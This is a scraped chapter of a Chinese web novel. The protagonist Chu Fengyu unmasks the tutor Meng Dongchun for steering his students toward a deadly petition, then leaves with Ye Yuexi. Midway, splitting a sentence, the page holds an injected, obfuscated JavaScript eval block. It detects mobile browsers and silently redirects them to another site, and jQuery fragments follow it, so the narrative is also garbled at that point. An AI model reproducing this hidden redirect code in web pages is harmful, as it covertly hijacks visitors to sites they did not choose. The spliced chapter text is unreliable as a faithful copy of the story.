默认冷灰
24号文字
方正启体

30. 文人风骨

作者:月折夕本书字数:K更新时间:
    这些信息来得太过突然,那声响指恍若在陆修远的耳旁炸起一声惊雷。


    其实不单单是他,连带着他周围的那三人都是处于一种怔楞的状态。


    楚风玉继续扔下一颗惊雷:“因为什么呢?因为你们都快功成名就了,而他,”楚风玉的视线再度投向孟秀才,“还只是一个秀才。”


    孟秀才面上那股读书人的儒雅已经开始龟裂。他一拍桌子站起身来,震得那桌上的茶具晃动起来发出声响。看着这力道,似乎比卓翰池还要有力一些。


    “这位公子!孟某一而再再而三地忍让你,可你非但不停歇,竟还敢污我清名!”


    “污你清名?”楚风玉嗤笑一声,眼中的最后一点倦意褪尽,只剩下冰冷的锐利。


    他不愿再看那些因为震惊而呆愣在原地的书生,反而将目光死死钉在孟秀才的脸上,一字一句道:“孟东春,你十四岁便中了秀才,曾经被誉为‘樊州神童’。此后二十六年,六次乡试,次次落榜。最后一次,是六年前。那年秋闱放榜的第三日,你母亲身染恶疾,寻医问药让你耗尽了最后一点家底,却依然没能救回。”


    “在此之前,你或许的确是个好人。”楚风玉走到孟秀才身后,他比孟秀才还要高出半个头去,那手搭上了孟秀才的肩轻轻拍着,“江南地带商人居多,你身为秀才,名下田地、商铺既可免税,那来找你的商人应该络绎不绝,但,你却一一回绝了。不可否认,你很有骨气。”


    “那……是从什么时候开始变的呢?是一次次的落榜,还是母亲离世后,身无分文的绝望。你逐渐发现,朝廷每年给你发的这些银子吃食,竟然还不足你母亲的两副药钱。你变卖家产,才勉强凑够了安葬你母亲的银钱。从此家徒四壁,靠着这私塾收一些微薄的束脩过日,这个时候了,你依旧在维持你的文人风骨。”


    孟秀才的脸色一点点惨白下去,嘴唇哆嗦着,想要说些什么,但是哆嗦了半天,却是一个字音都发不出来。


    楚风玉步步紧逼,声音不大,却像重锤一样砸在每个人心上:“你很恨,是不是?恨自己时运不济,恨考官有眼无珠,更恨这世道不公,竟让你这般‘天才’蹉跎半生,而齐峥那个纨绔子弟却能高中魁首!所以,当吕文博自刎于状元桥,一封血书揭露朝堂真相的时候,你看到了机会。”


    楚风玉停顿了一下,目光扫过陆修远、段归鸿、卓翰池以及程渊,最后又落回了孟秀才身上,他搭在孟秀才肩膀上的那只手骤然收紧,将他往下一按,按回了凳子上坐着,语气里带上了一丝近乎残忍的怜悯:“你利用了他们的年轻热血,利用他们对吕文博的同情和悲愤,不断扇动。那七位学子的鲜血洒满府衙的时候,你是什么感受呢?是悲伤、自责?还是计划成功的欢愉?”


    “你让他们相信,只有用更激烈的方式——比如入珲都告御状,只有将这件事件闹得愈发大,才能引起朝廷的重视,才能为吕文博和那七位身死的学子讨回公道。你甚至为他们安排好了路线,分析了利弊,让他们相信,唯有此举,方为‘大义’。”


    “不……不是这样的……”陆修远喃喃道,他脸色发青,看向孟秀才的目光充满了痛苦和动摇,“孟先生……不是这样的人。”


    楚风玉松开了手,甚是贴心地抚平了孟秀才肩上衣料的褶皱,轻声一笑:“你看,他们是多么信任你。哪怕你让他们用最愚蠢、最不可能成功的方式,去撞那铜墙铁壁,他们也丝毫不怀疑你别有用心。”


    孟秀才浑身颤抖,眼中无神。他的文人风骨在此刻尽碎,平日里那伪装出的模样,在真相面前不堪一击。


    程渊年纪最小,经历的事情也少,如今备受打击。他满脸的不可置信,甚至于声音都带上了颤:“夫子,他说的……是真的吗?您这么做,为何啊?我们那么……信任你。”


    段归鸿是四位学子中话最少的,也是最为冷静的,以至于从昨日到如今,楚风玉其实并没有太将目光放在他身上,而此刻,段归鸿却也是第一个站出来,质疑楚风玉的人:“你说的这些,证据在哪?”


    此话一出,倒是让楚风玉对他刮目相看了些。


    原以为这些话便能唬住这些学子,但没想到,居然还有能保持冷静之人。


    “证据?”楚风玉将一封文书拍在了孟秀才面前的桌上,很是贴心地问道:“孟东春,你自己决定,要不要让你的门下学子们,看看你都干了什么?”


    孟秀才不敢赌,也不愿赌。他慌张地拿过那文书,将其揉作一团捏在手中,眼神飘忽不定,始终不愿看向那几位目光灼灼看着自己的学子。


    看着孟秀才这番举动,段归鸿似乎也没了能够反驳楚风玉的话,骤然哑言。卓翰池神情恍惚,跌坐在凳上,那双先前强劲有力的手此刻略微颤抖。程渊已经哭出了声。陆修远站在一旁,嘴巴张合几次,最终也只能无力地问道:“为何啊?……您这么做,图什么?”


    楚风玉离开了孟秀才身后,他缓步走向叶月兮,手撑住那椅子靠背,站在叶月兮身旁。他的目光扫过屋内的这些人,看孟秀才的样子也不愿辩解,那便是默认了自己所犯下的罪孽。


    “图他心中畅快。他太恨了,恨这世道不公,更恨你们这些还有希望、还可能成功的少年人。看着你们一步步走向他为你们铺就的绝路,以此来得到一丝扭曲的慰藉。当然,更重要的是,有人给了他承诺——只要做成了这件事,搅乱了樊州,将齐家拉下水来,他便能得到他梦寐以求的东西:钱财、地位,或者……一个‘举人’的功名?哪怕只是买来的虚衔。”


    孟秀才猛地抬起头,惊骇地看向楚风玉,仿佛他说的每一个字,都精准地剖开他内心深处最肮脏隐秘的角落。


    他声音哆嗦,那双眼睛猩红,他一字一句地、咬牙切齿地问:“你究竟,是什么人?”


    “你无需知道我是谁。”楚风玉将叶月兮扶起,“你的帐我今日不在此算,过后,你只会偿还你犯下的罪孽。孟东春,千不该,万不该,你不该在吕


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089614|193525||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    文博身上做文章,不该推那么多无辜之人下炼狱。状元桥的冤魂已经够多了,而你,又为其增添了七抹幽魂。”


    陆修远死死咬着牙,眼眶通红,拳头攥得咯咯作响。


    堂屋内死一般的寂静。他们看着曾经敬若神明的夫子,看着他此刻的狼狈不堪、无言以对的模样,只觉信仰在寸寸崩塌,寒意从脚底直蹿头顶。


    原来……他们满腔的悲愤,义无反顾的决心,甚至不惜赴死的“壮烈”,在别人眼里,不过是一场精心设计、可供利用的戏码。


    “我们……我们差点……”程渊的声音沙哑,带着哭泣后的哽咽,也带着那后怕的颤抖。


    “亡羊补牢,为时未晚。”楚风玉搀扶着叶月兮,在踏出堂屋的前一刻开口道:“吕文博留下的血书和证据,在我手里。他想用命去换一个公道,不是让你们用命去徒劳地撞那铜墙铁壁。真正的公道,需要更聪明、也更艰难的方式去争取。”


    楚风玉的视线看向陆修远:“若是想为吕文博做些什么,就好好活着,闭上嘴,睁大眼。有用的消息,比无畏的牺牲有价值得多。待你们考上举人,入了珲都后,自有机会。”


    他说完,不再停留,扶着叶月兮出了堂屋。两人不再看身后的一片狼藉和神色各异的众人,径直朝外走去。


    晨光已然大盛,将小院照得通明。空气中寒意未散,却已有了阳光的温度。


    走出那破旧的院门,楚风玉才长长舒了口气,揉了揉眉心,低声道:“这件事应当算是解决了。”


    叶月兮没应声,反而是先将楚风玉昨日脱下的外衫还给了他,轻声道:“辰间还有些寒凉,穿上吧,莫要感了风寒。”


    心中一阵暖意,楚风玉倒是不觉这江风有多刺骨了。他依着叶月兮的话将那外衫穿好。


    叶月兮偏头看着他,帷帽的薄纱随风轻摆,“你如何得知孟秀才和旁人有了勾结的?”


    “今早手下送来的密报,上面也只是说了孟东春近日来和齐家的对头交往过甚,过得也不再似以往那般拮据。”楚风玉坦言道:“我诈的。他这种人,看似清高隐忍,实则执念最深,也最好攻破。没想到,被我猜中了。”


    楚风玉本是搀扶着叶月兮往前走着,话落后,他竟侧弯下腰来,凑到叶月兮跟前,隔着那一层薄纱问道:“我厉害吗?”


    叶月兮有些怔楞地看着面前骤然凑近的人:“……”


    隔着那层薄纱,叶月兮却能清楚地看清楚风玉眼底的笑意。她淡然地将楚风玉推远了些:“世子聪慧,无人能及。”


    楚风玉被她这故意疏远的恭敬逗得一乐,也不恼。他直起身子来,搀扶着叶月兮慢步走着,“你这夸人,怎么听着比骂我还难受。”晨光落在他舒展的眉眼上,昨夜的疲倦似乎也散了些。


    两人的身影融入晨起的集市,听着街边的叫卖声,当真如早起来逛集市的年轻夫妻一般。江风拂过,他们的发丝被江风席卷,在晨曦中短暂地交缠,又各自分开。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)